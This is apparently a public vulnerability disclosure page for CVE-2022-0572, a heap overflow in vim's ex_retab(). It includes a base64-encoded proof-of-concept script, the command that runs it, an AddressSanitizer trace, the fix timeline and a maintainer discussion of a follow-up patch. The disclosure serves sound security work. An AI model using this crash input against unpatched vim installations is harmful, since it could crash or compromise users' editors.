

Heap-based Buffer Overflow in vim/vim



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Description

Heap overflow occurs in `ex_retab()`.

commit : 414acd342f4a66d930da34d419929985b48bd301

Proof of Concept

```
$ echo -ne "ZnUgUihiLG4pCmxLdCBvbGRfdGFic3RvcD0mdGFic3RvcApLeGUicmV0ImE6bgpJ3NlIHRhYnN0b3A9Jy5vbGRfdGFic3RvcApIbApjYWwgbCgiIixSKCcnLDQpCmNhbCBsKCIiLFJyYcsJycpCmVuZGYKY2FsIHNldGxpbnUoMSwiXHQwXHQiKQpzZSB0YWJzdG9wPTUwCmNhbF8oIiJUignJywwKQo=" | base64 -d > poc
```

```
# ASAN
```

```
$ ./bin/vim.asan -u NONE -i NONE -n -X -Z -e -m -s -S poc -c ":qa!"
```

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```
==15561==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f99766c0000: WRITE of size 49437514 at 0x7f99766cb000 thread T0
```

```
#0 0x499a41 in __asan_memmove (/home/alkyne/vim-debug/src/vim.asan+0x499a41)
#1 0x7e63a6 in ex_retab /home/alkyne/vim-debug/src/indent.c:1732:4
#2 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#3 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#4 0x62267b in ex_execute /home/alkyne/vim-debug/src/eval.c:6494:6
#5 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
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#7 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:281:17
#8 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:3520:11
#9 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
#10 0xcdb944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:17
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SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/alkyne/vim-debug/src
Shadow bytes around the buggy address:

```

0x0ff3aecd15b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff3aecd15c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff3aecd15d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff3aecd15e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff3aecd15f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ff3aecd1600:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff3aecd1610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff3aecd1620: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff3aecd1630: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff3aecd1640: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff3aecd1650: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

```

Shadow byte legend (one shadow byte represents 8 application bytes):

```

Addressable:           00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone:      fa
Freed heap region:      fd
Stack left redzone:     f1
Stack mid redzone:      f2
Stack right redzone:    f3
Stack after return:     f5
Stack use after scope:  f8
Global redzone:         f9
Global init order:      f6
Poisoned by user:       f7

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Container overflow:  tc
Array cookie:       ac
Intra object redzone: bb

ASan internal:      fe
Left alloca redzone: ca
Right alloca redzone: cb
==15561==ABORTING
```

Impact

Heap overflow may lead to exploiting the program, which can allow the attacker to execute arbitrary code.

CVE

CVE-2022-0572

(Published)

Vulnerability Type

CWE-122: Heap-based Buffer Overflow

Severity

High (8.4)

Visibility

Public

Status

Fixed

Found by

alkyne Choi

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Fixed by



Bram Moolenaar

@brammool

maintainer

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This report was seen 2,493 times.

We are processing your report and will contact the **vim** team within 24 hours. 10 months ago

We have contacted a member of the **vim** team and are waiting to hear back 9 months ago

Bram Moolenaar validated this vulnerability 9 months ago

alkyne Choi has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Bram Moolenaar 9 months ago

Maintainer

fixed with patch 8.2.4359

Bram Moolenaar marked this as fixed in 8.2 with commit **6e2870** 9 months ago

Bram Moolenaar has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

xiaoge1001 5 months ago

I used vim-8.2 to execute the following codes according to the description.:

```
J3N1IHRhYnN0b3A9Jy5vbGRfdGFic3RvcAp1bApjYWwgbCgiIixSKCcnLDQpCmNhbcBsKCIiLFIo
JycsJycpCmVuZGYKY2FsIHNLdGxpbmUoMSwiXHQwXHQiKQpzZSB0YWJzdG9wPTUwCmNhbF8oIiIs
UignJywwKQo=" | base64 -d > poc
```

```
vim -u NONE -i NONE -n -X -Z -e -m -s -S poc -c ":qa!"````
```

As a result, Segmentation fault occurred in the program. I merged patch-8.2.4359, and

xiaoge1001 5 months ago

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It took me a long time (1.2min) to get the results when I used vim 8.2.5079. If I press ctrl c the

it took me a long time (1-2min) to get the results when I used vim-8.2.5079. If I press ctrl-c, the program execution can't be stopped, at the same time, the program will remain stuck and cannot be automatically terminated (I have waited for more than ten minutes, and the program

remains stuck).

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I wonder if this is normal? Thanks.

Bram Moolenaar [5 months ago](#)

Maintainer

Stopping the program with CTRL-C doesn't work because of the command line arguments given. When just using "-u NONE" it works.

I cannot reproduce any illegal memory access. I can only reproduce that it hangs and has to be killed. That is not really a bug, just giving the wrong input.

I can make it a bit better by setting "got_int" when the line is getting too long, I have done that in patch 8.2.5080.

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